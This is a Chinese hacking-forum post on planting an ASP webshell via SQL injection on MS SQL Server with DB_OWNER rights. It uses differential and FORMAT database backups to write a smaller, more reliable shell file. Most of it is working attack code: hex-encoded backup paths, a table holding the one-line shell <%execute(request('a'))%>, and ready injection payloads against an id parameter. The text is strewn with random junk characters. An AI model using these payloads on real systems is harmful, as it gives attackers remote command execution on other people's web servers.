DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
! @' c# \$ ^8 L3 o! q- x
减少备份文件大小，得到可执行的webshell成功率提高不少
2 V9 Q' m5 u8 z, V  _! G一利用差异备份
加一个参数WITH DIFFERENTIAL
/ g0 ~% U% x% a* `! U
1
2
3
+ I* O% E, A4 _$ L2 R4 p4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# A: J! E6 }6 U8 K5 B9 Vcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 h( W. P8 g2 e) k" }; y8 Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

, w4 ?) q' A; `0 K; A$ S' Q二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
  d$ A. W+ N9 |, H6 e* `/ K  t4 W2
2 y3 F  q" ~2 H3 f4 k( I0 r9 [3
9 T( J& j" Y  n1 ~4
, T( x% e! o3 h' u5 u6 q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 U8 o: n% [2 {7 C( {6 a+ `' I" Ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

1 ~& T/ i5 G) t( n; \, Q! p总的来说就是那么简单几句,下面以备份数据库model为例子
0 a4 d% h' p5 W5 e+ |- o3 d5 u1
" j( Y' d  q! V& e& _# v7 k
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2

1
5 d6 E' `% @( z: l2 Q& p id=1;backup database model to disk='你的路径‘ with differential,format;--
: m5 k, [/ r; b* \# q